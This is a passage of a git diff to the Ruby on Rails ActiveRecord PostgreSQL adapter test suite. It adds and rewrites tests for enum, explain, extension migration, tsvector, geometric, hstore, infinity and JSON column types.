+ enum.save!
+
+ assert_equal "happy", enum.reload.current_mood
+ end
+
+ def test_invalid_enum_update
+ @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+ enum = PostgresqlEnum.first
+ enum.current_mood = "angry"
+
+ assert_raise ActiveRecord::StatementInvalid do
+ enum.save
+ end
+ end
+
+ def test_no_oid_warning
+ @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+ stderr_output = capture(:stderr) { PostgresqlEnum.first }
+
+ assert stderr_output.blank?
+ end
+
+ def test_enum_type_cast
+ enum = PostgresqlEnum.new
+ enum.current_mood = :happy
+
+ assert_equal "happy", enum.current_mood
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/explain_test.rb b/activerecord/test/cases/adapters/postgresql/explain_test.rb
index 619d581d5f..d2dd04b84b 100644
--- a/activerecord/test/cases/adapters/postgresql/explain_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/explain_test.rb
@@ -1,5 +1,6 @@
require "cases/helper"
require 'models/developer'
+require 'models/computer'
module ActiveRecord
module ConnectionAdapters
@@ -9,26 +10,16 @@ module ActiveRecord
def test_explain_for_one_query
explain = Developer.where(:id => 1).explain
- assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = $1), explain
assert_match %(QUERY PLAN), explain
- assert_match %(Index Scan using developers_pkey on developers), explain
end
def test_explain_with_eager_loading
explain = Developer.where(:id => 1).includes(:audit_logs).explain
assert_match %(QUERY PLAN), explain
- assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
- assert_match %(Index Scan using developers_pkey on developers), explain
- assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
- assert_match %(Seq Scan on audit_logs), explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = $1), explain
+ assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
end
-
- def test_dont_explain_for_set_search_path
- queries = Thread.current[:available_queries_for_explain] = []
- ActiveRecord::Base.connection.schema_search_path = "public"
- assert queries.empty?
- end
-
end
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
new file mode 100644
index 0000000000..7b99fcdda0
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
@@ -0,0 +1,63 @@
+require "cases/helper"
+
+class PostgresqlExtensionMigrationTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class EnableHstore < ActiveRecord::Migration
+ def change
+ enable_extension "hstore"
+ end
+ end
+
+ class DisableHstore < ActiveRecord::Migration
+ def change
+ disable_extension "hstore"
+ end
+ end
+
+ def setup
+ super
+
+ @connection = ActiveRecord::Base.connection
+
+ unless @connection.supports_extensions?
+ return skip("no extension support")
+ end
+
+ @old_schema_migration_tabel_name = ActiveRecord::SchemaMigration.table_name
+ @old_tabel_name_prefix = ActiveRecord::Base.table_name_prefix
+ @old_tabel_name_suffix = ActiveRecord::Base.table_name_suffix
+
+ ActiveRecord::Base.table_name_prefix = "p_"
+ ActiveRecord::Base.table_name_suffix = "_s"
+ ActiveRecord::SchemaMigration.delete_all rescue nil
+ ActiveRecord::SchemaMigration.table_name = "p_schema_migrations_s"
+ ActiveRecord::Migration.verbose = false
+ end
+
+ def teardown
+ ActiveRecord::Base.table_name_prefix = @old_tabel_name_prefix
+ ActiveRecord::Base.table_name_suffix = @old_tabel_name_suffix
+ ActiveRecord::SchemaMigration.delete_all rescue nil
+ ActiveRecord::Migration.verbose = true
+ ActiveRecord::SchemaMigration.table_name = @old_schema_migration_tabel_name
+
+ super
+ end
+
+ def test_enable_extension_migration_ignores_prefix_and_suffix
+ @connection.disable_extension("hstore")
+
+ migrations = [EnableHstore.new(nil, 1)]
+ ActiveRecord::Migrator.new(:up, migrations).migrate
+ assert @connection.extension_enabled?("hstore"), "extension hstore should be enabled"
+ end
+
+ def test_disable_extension_migration_ignores_prefix_and_suffix
+ @connection.enable_extension("hstore")
+
+ migrations = [DisableHstore.new(nil, 1)]
+ ActiveRecord::Migrator.new(:up, migrations).migrate
+ assert_not @connection.extension_enabled?("hstore"), "extension hstore should not be enabled"
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/full_text_test.rb b/activerecord/test/cases/adapters/postgresql/full_text_test.rb
new file mode 100644
index 0000000000..dca35422b9
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/full_text_test.rb
@@ -0,0 +1,44 @@
+# encoding: utf-8
+require "cases/helper"
+require 'support/schema_dumping_helper'
+
+class PostgresqlFullTextTest < ActiveRecord::TestCase
+ include SchemaDumpingHelper
+ class Tsvector < ActiveRecord::Base; end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table('tsvectors') do |t|
+ t.tsvector 'text_vector'
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS tsvectors;'
+ end
+
+ def test_tsvector_column
+ column = Tsvector.columns_hash["text_vector"]
+ assert_equal :tsvector, column.type
+ assert_equal "tsvector", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_update_tsvector
+ Tsvector.create text_vector: "'text' 'vector'"
+ tsvector = Tsvector.first
+ assert_equal "'text' 'vector'", tsvector.text_vector
+
+ tsvector.text_vector = "'new' 'text' 'vector'"
+ tsvector.save!
+ assert tsvector.reload
+ assert_equal "'new' 'text' 'vector'", tsvector.text_vector
+ end
+
+ def test_schema_dump_with_shorthand
+ output = dump_table_schema("tsvectors")
+ assert_match %r{t.tsvector "text_vector"}, output
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/geometric_test.rb b/activerecord/test/cases/adapters/postgresql/geometric_test.rb
new file mode 100644
index 0000000000..228221e034
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/geometric_test.rb
@@ -0,0 +1,139 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'support/connection_helper'
+require 'support/schema_dumping_helper'
+
+class PostgresqlPointTest < ActiveRecord::TestCase
+ include ConnectionHelper
+ include SchemaDumpingHelper
+
+ class PostgresqlPoint < ActiveRecord::Base; end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table('postgresql_points') do |t|
+ t.point :x
+ t.point :y, default: [12.2, 13.3]
+ t.point :z, default: "(14.4,15.5)"
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_points'
+ end
+
+ def test_column
+ column = PostgresqlPoint.columns_hash["x"]
+ assert_equal :point, column.type
+ assert_equal "point", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_default
+ assert_equal [12.2, 13.3], PostgresqlPoint.column_defaults['y']
+ assert_equal [12.2, 13.3], PostgresqlPoint.new.y
+
+ assert_equal [14.4, 15.5], PostgresqlPoint.column_defaults['z']
+ assert_equal [14.4, 15.5], PostgresqlPoint.new.z
+ end
+
+ def test_schema_dumping
+ output = dump_table_schema("postgresql_points")
+ assert_match %r{t\.point\s+"x"$}, output
+ assert_match %r{t\.point\s+"y",\s+default: \[12\.2, 13\.3\]$}, output
+ assert_match %r{t\.point\s+"z",\s+default: \[14\.4, 15\.5\]$}, output
+ end
+
+ def test_roundtrip
+ PostgresqlPoint.create! x: [10, 25.2]
+ record = PostgresqlPoint.first
+ assert_equal [10, 25.2], record.x
+
+ record.x = [1.1, 2.2]
+ record.save!
+ assert record.reload
+ assert_equal [1.1, 2.2], record.x
+ end
+
+ def test_mutation
+ p = PostgresqlPoint.create! x: [10, 20]
+
+ p.x[1] = 25
+ p.save!
+ p.reload
+
+ assert_equal [10.0, 25.0], p.x
+ assert_not p.changed?
+ end
+end
+
+class PostgresqlGeometricTest < ActiveRecord::TestCase
+ class PostgresqlGeometric < ActiveRecord::Base; end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table("postgresql_geometrics") do |t|
+ t.column :a_line_segment, :lseg
+ t.column :a_box, :box
+ t.column :a_path, :path
+ t.column :a_polygon, :polygon
+ t.column :a_circle, :circle
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_geometrics'
+ end
+
+ def test_geometric_types
+ g = PostgresqlGeometric.new(
+ :a_line_segment => '(2.0, 3), (5.5, 7.0)',
+ :a_box => '2.0, 3, 5.5, 7.0',
+ :a_path => '[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]',
+ :a_polygon => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',
+ :a_circle => '<(5.3, 10.4), 2>'
+ )
+
+ g.save!
+
+ h = PostgresqlGeometric.find(g.id)
+
+ assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
+ assert_equal '(5.5,7),(2,3)', h.a_box # reordered to store upper right corner then bottom left corner
+ assert_equal '[(2,3),(5.5,7),(8.5,11)]', h.a_path
+ assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
+ assert_equal '<(5.3,10.4),2>', h.a_circle
+ end
+
+ def test_alternative_format
+ g = PostgresqlGeometric.new(
+ :a_line_segment => '((2.0, 3), (5.5, 7.0))',
+ :a_box => '(2.0, 3), (5.5, 7.0)',
+ :a_path => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',
+ :a_polygon => '2.0, 3, 5.5, 7.0, 8.5, 11.0',
+ :a_circle => '((5.3, 10.4), 2)'
+ )
+
+ g.save!
+
+ h = PostgresqlGeometric.find(g.id)
+ assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
+ assert_equal '(5.5,7),(2,3)', h.a_box # reordered to store upper right corner then bottom left corner
+ assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_path
+ assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
+ assert_equal '<(5.3,10.4),2>', h.a_circle
+ end
+
+ def test_geometric_function
+ PostgresqlGeometric.create! a_path: '[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]' # [ ] is an open path
+ PostgresqlGeometric.create! a_path: '((2.0, 3), (5.5, 7.0), (8.5, 11.0))' # ( ) is a closed path
+
+ objs = PostgresqlGeometric.find_by_sql "SELECT isopen(a_path) FROM postgresql_geometrics ORDER BY id ASC"
+ assert_equal [true, false], objs.map(&:isopen)
+
+ objs = PostgresqlGeometric.find_by_sql "SELECT isclosed(a_path) FROM postgresql_geometrics ORDER BY id ASC"
+ assert_equal [false, true], objs.map(&:isclosed)
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/hstore_test.rb b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
index 23bafde17b..00ff456e16 100644
--- a/activerecord/test/cases/adapters/postgresql/hstore_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
@@ -1,157 +1,352 @@
# encoding: utf-8
-
require "cases/helper"
-require 'active_record/base'
-require 'active_record/connection_adapters/postgresql_adapter'
+require 'support/schema_dumping_helper'
-class PostgresqlHstoreTest < ActiveRecord::TestCase
- class Hstore < ActiveRecord::Base
- self.table_name = 'hstores'
- end
+if ActiveRecord::Base.connection.supports_extensions?
+ class PostgresqlHstoreTest < ActiveRecord::TestCase
+ include SchemaDumpingHelper
+ class Hstore < ActiveRecord::Base
+ self.table_name = 'hstores'
+
+ store_accessor :settings, :language, :timezone
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+
+ unless @connection.extension_enabled?('hstore')
+ @connection.enable_extension 'hstore'
+ @connection.commit_db_transaction
+ end
+
+ @connection.reconnect!
- def setup
- @connection = ActiveRecord::Base.connection
- begin
@connection.transaction do
@connection.create_table('hstores') do |t|
t.hstore 'tags', :default => ''
+ t.hstore 'payload', array: true
+ t.hstore 'settings'
end
end
- rescue ActiveRecord::StatementInvalid
- return skip "do not test on PG without hstore"
+ @column = Hstore.columns_hash['tags']
end
- @column = Hstore.columns.find { |c| c.name == 'tags' }
- end
- def teardown
- @connection.execute 'drop table if exists hstores'
- end
+ teardown do
+ @connection.execute 'drop table if exists hstores'
+ end
- def test_column
- assert_equal :hstore, @column.type
- end
+ def test_hstore_included_in_extensions
+ assert @connection.respond_to?(:extensions), "connection should have a list of extensions"
+ assert @connection.extensions.include?('hstore'), "extension list should include hstore"
+ end
- def test_type_cast_hstore
- assert @column
+ def test_disable_enable_hstore
+ assert @connection.extension_enabled?('hstore')
+ @connection.disable_extension 'hstore'
+ assert_not @connection.extension_enabled?('hstore')
+ @connection.enable_extension 'hstore'
+ assert @connection.extension_enabled?('hstore')
+ ensure
+ # Restore column(s) dropped by `drop extension hstore cascade;`
+ load_schema
+ end
- data = "\"1\"=>\"2\""
- hash = @column.class.string_to_hstore data
- assert_equal({'1' => '2'}, hash)
- assert_equal({'1' => '2'}, @column.type_cast(data))
+ def test_column
+ assert_equal :hstore, @column.type
+ assert_equal "hstore", @column.sql_type
+ assert_not @column.number?
+ assert_not @column.binary?
+ assert_not @column.array
+ end
- assert_equal({}, @column.type_cast(""))
- assert_equal({'key'=>nil}, @column.type_cast('key => NULL'))
- assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q(c=>"}", "\"a\""=>"b \"a b")))
- end
+ def test_default
+ @connection.add_column 'hstores', 'permissions', :hstore, default: '"users"=>"read", "articles"=>"write"'
+ Hstore.reset_column_information
- def test_gen1
- assert_equal(%q(" "=>""), @column.class.hstore_to_string({' '=>''}))
- end
+ assert_equal({"users"=>"read", "articles"=>"write"}, Hstore.column_defaults['permissions'])
+ assert_equal({"users"=>"read", "articles"=>"write"}, Hstore.new.permissions)
+ ensure
+ Hstore.reset_column_information
+ end
- def test_gen2
- assert_equal(%q(","=>""), @column.class.hstore_to_string({','=>''}))
- end
+ def test_change_table_supports_hstore
+ @connection.transaction do
+ @connection.change_table('hstores') do |t|
+ t.hstore 'users', default: ''
+ end
+ Hstore.reset_column_information
+ column = Hstore.columns_hash['users']
+ assert_equal :hstore, column.type
- def test_gen3
- assert_equal(%q("="=>""), @column.class.hstore_to_string({'='=>''}))
- end
+ raise ActiveRecord::Rollback # reset the schema change
+ end
+ ensure
+ Hstore.reset_column_information
+ end
- def test_gen4
- assert_equal(%q(">"=>""), @column.class.hstore_to_string({'>'=>''}))
- end
+ def test_hstore_migration
+ hstore_migration = Class.new(ActiveRecord::Migration) do
+ def change
+ change_table("hstores") do |t|
+ t.hstore :keys
+ end
+ end
+ end
- def test_parse1
- assert_equal({'a'=>nil,'b'=>nil,'c'=>'NuLl','null'=>'c'}, @column.type_cast('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
- end
+ hstore_migration.new.suppress_messages do
+ hstore_migration.migrate(:up)
+ assert_includes @connection.columns(:hstores).map(&:name), "keys"
+ hstore_migration.migrate(:down)
+ assert_not_includes @connection.columns(:hstores).map(&:name), "keys"
+ end
+ end
- def test_parse2
- assert_equal({" " => " "}, @column.type_cast("\\ =>\\ "))
- end
+ def test_cast_value_on_write
+ x = Hstore.new tags: {"bool" => true, "number" => 5}
+ assert_equal({"bool" => true, "number" => 5}, x.tags_before_type_cast)
+ assert_equal({"bool" => "true", "number" => "5"}, x.tags)
+ x.save
+ assert_equal({"bool" => "true", "number" => "5"}, x.reload.tags)
+ end
- def test_parse3
- assert_equal({"=" => ">"}, @column.type_cast("==>>"))
- end
+ def test_type_cast_hstore
+ assert_equal({'1' => '2'}, @column.type_cast_from_database("\"1\"=>\"2\""))
+ assert_equal({}, @column.type_cast_from_database(""))
+ assert_equal({'key'=>nil}, @column.type_cast_from_database('key => NULL'))
+ assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast_from_database(%q(c=>"}", "\"a\""=>"b \"a b")))
+ end
- def test_parse4
- assert_equal({"=a"=>"q=w"}, @column.type_cast('\=a=>q=w'))
- end
+ def test_with_store_accessors
+ x = Hstore.new(language: "fr", timezone: "GMT")
+ assert_equal "fr", x.language
+ assert_equal "GMT", x.timezone
- def test_parse5
- assert_equal({"=a"=>"q=w"}, @column.type_cast('"=a"=>q\=w'))
- end
+ x.save!
+ x = Hstore.first
+ assert_equal "fr", x.language
+ assert_equal "GMT", x.timezone
- def test_parse6
- assert_equal({"\"a"=>"q>w"}, @column.type_cast('"\"a"=>q>w'))
- end
+ x.language = "de"
+ x.save!
- def test_parse7
- assert_equal({"\"a"=>"q\"w"}, @column.type_cast('\"a=>q"w'))
- end
+ x = Hstore.first
+ assert_equal "de", x.language
+ assert_equal "GMT", x.timezone
+ end
- def test_rewrite
- @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
- x = Hstore.first
- x.tags = { '"a\'' => 'b' }
- assert x.save!
- end
+ def test_duplication_with_store_accessors
+ x = Hstore.new(language: "fr", timezone: "GMT")
+ assert_equal "fr", x.language
+ assert_equal "GMT", x.timezone
+ y = x.dup
+ assert_equal "fr", y.language
+ assert_equal "GMT", y.timezone
+ end
- def test_select
- @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
- x = Hstore.first
- assert_equal({'1' => '2'}, x.tags)
- end
+ def test_yaml_round_trip_with_store_accessors
+ x = Hstore.new(language: "fr", timezone: "GMT")
+ assert_equal "fr", x.language
+ assert_equal "GMT", x.timezone
- def test_select_multikey
- @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
- x = Hstore.first
- assert_equal({'1' => '2', '2' => '3'}, x.tags)
- end
+ y = YAML.load(YAML.dump(x))
+ assert_equal "fr", y.language
+ assert_equal "GMT", y.timezone
+ end
- def test_create
- assert_cycle('a' => 'b', '1' => '2')
- end
+ def test_changes_in_place
+ hstore = Hstore.create!(settings: { 'one' => 'two' })
+ hstore.settings['three'] = 'four'
+ hstore.save!
+ hstore.reload
- def test_nil
- assert_cycle('a' => nil)
- end
+ assert_equal 'four', hstore.settings['three']
+ assert_not hstore.changed?
+ end
- def test_quotes
- assert_cycle('a' => 'b"ar', '1"foo' => '2')
- end
+ def test_gen1
+ assert_equal(%q(" "=>""), @column.cast_type.type_cast_for_database({' '=>''}))
+ end
- def test_whitespace
- assert_cycle('a b' => 'b ar', '1"foo' => '2')
- end
+ def test_gen2
+ assert_equal(%q(","=>""), @column.cast_type.type_cast_for_database({','=>''}))
+ end
- def test_backslash
- assert_cycle('a\\b' => 'b\\ar', '1"foo' => '2')
- end
+ def test_gen3
+ assert_equal(%q("="=>""), @column.cast_type.type_cast_for_database({'='=>''}))
+ end
- def test_comma
- assert_cycle('a, b' => 'bar', '1"foo' => '2')
- end
+ def test_gen4
+ assert_equal(%q(">"=>""), @column.cast_type.type_cast_for_database({'>'=>''}))
+ end
- def test_arrow
- assert_cycle('a=>b' => 'bar', '1"foo' => '2')
- end
+ def test_parse1
+ assert_equal({'a'=>nil,'b'=>nil,'c'=>'NuLl','null'=>'c'}, @column.type_cast_from_database('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
+ end
- def test_quoting_special_characters
- assert_cycle('ca' => 'cà', 'ac' => 'àc')
- end
+ def test_parse2
+ assert_equal({" " => " "}, @column.type_cast_from_database("\\ =>\\ "))
+ end
- private
- def assert_cycle hash
- # test creation
- x = Hstore.create!(:tags => hash)
- x.reload
- assert_equal(hash, x.tags)
-
- # test updating
- x = Hstore.create!(:tags => {})
- x.tags = hash
- x.save!
- x.reload
- assert_equal(hash, x.tags)
+ def test_parse3
+ assert_equal({"=" => ">"}, @column.type_cast_from_database("==>>"))
+ end
+
+ def test_parse4
+ assert_equal({"=a"=>"q=w"}, @column.type_cast_from_database('\=a=>q=w'))
+ end
+
+ def test_parse5
+ assert_equal({"=a"=>"q=w"}, @column.type_cast_from_database('"=a"=>q\=w'))
+ end
+
+ def test_parse6
+ assert_equal({"\"a"=>"q>w"}, @column.type_cast_from_database('"\"a"=>q>w'))
+ end
+
+ def test_parse7
+ assert_equal({"\"a"=>"q\"w"}, @column.type_cast_from_database('\"a=>q"w'))
+ end
+
+ def test_rewrite
+ @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+ x = Hstore.first
+ x.tags = { '"a\'' => 'b' }
+ assert x.save!
+ end
+
+ def test_select
+ @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+ x = Hstore.first
+ assert_equal({'1' => '2'}, x.tags)
+ end
+
+ def test_array_cycle
+ assert_array_cycle([{"AA" => "BB", "CC" => "DD"}, {"AA" => nil}])
+ end
+
+ def test_array_strings_with_quotes
+ assert_array_cycle([{'this has' => 'some "s that need to be escaped"'}])
+ end
+
+ def test_array_strings_with_commas
+ assert_array_cycle([{'this,has' => 'many,values'}])
+ end
+
+ def test_array_strings_with_array_delimiters
+ assert_array_cycle(['{' => '}'])
+ end
+
+ def test_array_strings_with_null_strings
+ assert_array_cycle([{'NULL' => 'NULL'}])
+ end
+
+ def test_contains_nils
+ assert_array_cycle([{'NULL' => nil}])
+ end
+
+ def test_select_multikey
+ @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
+ x = Hstore.first
+ assert_equal({'1' => '2', '2' => '3'}, x.tags)
+ end
+
+ def test_create
+ assert_cycle('a' => 'b', '1' => '2')
+ end
+
+ def test_nil
+ assert_cycle('a' => nil)
+ end
+
+ def test_quotes
+ assert_cycle('a' => 'b"ar', '1"foo' => '2')
+ end
+
+ def test_whitespace
+ assert_cycle('a b' => 'b ar', '1"foo' => '2')
+ end
+
+ def test_backslash
+ assert_cycle('a\\b' => 'b\\ar', '1"foo' => '2')
+ end
+
+ def test_comma
+ assert_cycle('a, b' => 'bar', '1"foo' => '2')
+ end
+
+ def test_arrow
+ assert_cycle('a=>b' => 'bar', '1"foo' => '2')
+ end
+
+ def test_quoting_special_characters
+ assert_cycle('ca' => 'cà', 'ac' => 'àc')
+ end
+
+ def test_multiline
+ assert_cycle("a\nb" => "c\nd")
+ end
+
+ class TagCollection
+ def initialize(hash); @hash = hash end
+ def to_hash; @hash end
+ def self.load(hash); new(hash) end
+ def self.dump(object); object.to_hash end
+ end
+
+ class HstoreWithSerialize < Hstore
+ serialize :tags, TagCollection
+ end
+
+ def test_hstore_with_serialized_attributes
+ HstoreWithSerialize.create! tags: TagCollection.new({"one" => "two"})
+ record = HstoreWithSerialize.first
+ assert_instance_of TagCollection, record.tags
+ assert_equal({"one" => "two"}, record.tags.to_hash)
+ record.tags = TagCollection.new("three" => "four")
+ record.save!
+ assert_equal({"three" => "four"}, HstoreWithSerialize.first.tags.to_hash)
+ end
+
+ def test_clone_hstore_with_serialized_attributes
+ HstoreWithSerialize.create! tags: TagCollection.new({"one" => "two"})
+ record = HstoreWithSerialize.first
+ dupe = record.dup
+ assert_equal({"one" => "two"}, dupe.tags.to_hash)
+ end
+
+ def test_schema_dump_with_shorthand
+ output = dump_table_schema("hstores")
+ assert_match %r[t.hstore "tags",\s+default: {}], output
+ end
+
+ private
+ def assert_array_cycle(array)
+ # test creation
+ x = Hstore.create!(payload: array)
+ x.reload
+ assert_equal(array, x.payload)
+
+ # test updating
+ x = Hstore.create!(payload: [])
+ x.payload = array
+ x.save!
+ x.reload
+ assert_equal(array, x.payload)
+ end
+
+ def assert_cycle(hash)
+ # test creation
+ x = Hstore.create!(:tags => hash)
+ x.reload
+ assert_equal(hash, x.tags)
+
+ # test updating
+ x = Hstore.create!(:tags => {})
+ x.tags = hash
+ x.save!
+ x.reload
+ assert_equal(hash, x.tags)
+ end
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/infinity_test.rb b/activerecord/test/cases/adapters/postgresql/infinity_test.rb
new file mode 100644
index 0000000000..22e8873333
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/infinity_test.rb
@@ -0,0 +1,44 @@
+require "cases/helper"
+
+class PostgresqlInfinityTest < ActiveRecord::TestCase
+ class PostgresqlInfinity < ActiveRecord::Base
+ end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table(:postgresql_infinities) do |t|
+ t.float :float
+ t.datetime :datetime
+ end
+ end
+
+ teardown do
+ @connection.execute("DROP TABLE IF EXISTS postgresql_infinities")
+ end
+
+ test "type casting infinity on a float column" do
+ record = PostgresqlInfinity.create!(float: Float::INFINITY)
+ record.reload
+ assert_equal Float::INFINITY, record.float
+ end
+
+ test "update_all with infinity on a float column" do
+ record = PostgresqlInfinity.create!
+ PostgresqlInfinity.update_all(float: Float::INFINITY)
+ record.reload
+ assert_equal Float::INFINITY, record.float
+ end
+
+ test "type casting infinity on a datetime column" do
+ record = PostgresqlInfinity.create!(datetime: Float::INFINITY)
+ record.reload
+ assert_equal Float::INFINITY, record.datetime
+ end
+
+ test "update_all with infinity on a datetime column" do
+ record = PostgresqlInfinity.create!
+ PostgresqlInfinity.update_all(datetime: Float::INFINITY)
+ record.reload
+ assert_equal Float::INFINITY, record.datetime
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/json_test.rb b/activerecord/test/cases/adapters/postgresql/json_test.rb
index d64037eec0..340ca29c0e 100644
--- a/activerecord/test/cases/adapters/postgresql/json_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/json_test.rb
@@ -1,12 +1,14 @@
# encoding: utf-8
-
require "cases/helper"
-require 'active_record/base'
-require 'active_record/connection_adapters/postgresql_adapter'
+require 'support/schema_dumping_helper'
+
+module PostgresqlJSONSharedTestCases
+ include SchemaDumpingHelper
-class PostgresqlJSONTest < ActiveRecord::TestCase
class JsonDataType < ActiveRecord::Base
self.table_name = 'json_data_type'
+
+ store_accessor :settings, :resolution
end
def setup
@@ -14,13 +16,14 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
begin
@connection.transaction do
@connection.create_table('json_data_type') do |t|
- t.json 'payload', :default => {}
+ t.public_send column_type, 'payload', default: {} # t.json 'payload', default: {}
+ t.public_send column_type, 'settings' # t.json 'settings'
end
end
rescue ActiveRecord::StatementInvalid
- return skip "do not test on PG without json"
+ skip "do not test on PG without json"
end
- @column = JsonDataType.columns.find { |c| c.name == 'payload' }
+ @column = JsonDataType.columns_hash['payload']
end
def teardown
@@ -28,20 +31,63 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
end
def test_column
- assert_equal :json, @column.type
+ column = JsonDataType.columns_hash["payload"]
+ assert_equal column_type, column.type
+ assert_equal column_type.to_s, column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_default
+ @connection.add_column 'json_data_type', 'permissions', column_type, default: '{"users": "read", "posts": ["read", "write"]}'
+ JsonDataType.reset_column_information
+
+ assert_equal({"users"=>"read", "posts"=>["read", "write"]}, JsonDataType.column_defaults['permissions'])
+ assert_equal({"users"=>"read", "posts"=>["read", "write"]}, JsonDataType.new.permissions)
+ ensure
+ JsonDataType.reset_column_information
+ end
+
+ def test_change_table_supports_json
+ @connection.transaction do
+ @connection.change_table('json_data_type') do |t|
+ t.public_send column_type, 'users', default: '{}' # t.json 'users', default: '{}'
+ end
+ JsonDataType.reset_column_information
+ column = JsonDataType.columns_hash['users']
+ assert_equal column_type, column.type
+
+ raise ActiveRecord::Rollback # reset the schema change
+ end
+ ensure
+ JsonDataType.reset_column_information
+ end
+
+ def test_schema_dumping
+ output = dump_table_schema("json_data_type")
+ assert_match(/t.#{column_type.to_s}\s+"payload",\s+default: {}/, output)
+ end
+
+ def test_cast_value_on_write
+ x = JsonDataType.new payload: {"string" => "foo", :symbol => :bar}
+ assert_equal({"string" => "foo", :symbol => :bar}, x.payload_before_type_cast)
+ assert_equal({"string" => "foo", "symbol" => "bar"}, x.payload)
+ x.save
+ assert_equal({"string" => "foo", "symbol" => "bar"}, x.reload.payload)
end
def test_type_cast_json
- assert @column
+ column = JsonDataType.columns_hash["payload"]
data = "{\"a_key\":\"a_value\"}"
- hash = @column.class.string_to_json data
+ hash = column.type_cast_from_database(data)
assert_equal({'a_key' => 'a_value'}, hash)
- assert_equal({'a_key' => 'a_value'}, @column.type_cast(data))
+ assert_equal({'a_key' => 'a_value'}, column.type_cast_from_database(data))
- assert_equal({}, @column.type_cast("{}"))
- assert_equal({'key'=>nil}, @column.type_cast('{"key": null}'))
- assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q({"c":"}", "\"a\"":"b \"a b"})))
+ assert_equal({}, column.type_cast_from_database("{}"))
+ assert_equal({'key'=>nil}, column.type_cast_from_database('{"key": null}'))
+ assert_equal({'c'=>'}','"a"'=>'b "a b'}, column.type_cast_from_database(%q({"c":"}", "\"a\"":"b \"a b"})))
end
def test_rewrite
@@ -68,4 +114,85 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
x = JsonDataType.first
assert_equal(nil, x.payload)
end
+
+ def test_select_array_json_value
+ @connection.execute %q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')|
+ x = JsonDataType.first
+ assert_equal(['v0', {'k1' => 'v1'}], x.payload)
+ end
+
+ def test_rewrite_array_json_value
+ @connection.execute %q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')|
+ x = JsonDataType.first
+ x.payload = ['v1', {'k2' => 'v2'}, 'v3']
+ assert x.save!
+ end
+
+ def test_with_store_accessors
+ x = JsonDataType.new(resolution: "320×480")
+ assert_equal "320×480", x.resolution
+
+ x.save!
+ x = JsonDataType.first
+ assert_equal "320×480", x.resolution
+
+ x.resolution = "640×1136"
+ x.save!
+
+ x = JsonDataType.first
+ assert_equal "640×1136", x.resolution
+ end
+
+ def test_duplication_with_store_accessors
+ x = JsonDataType.new(resolution: "320×480")
+ assert_equal "320×480", x.resolution
+
+ y = x.dup
+ assert_equal "320×480", y.resolution
+ end
+
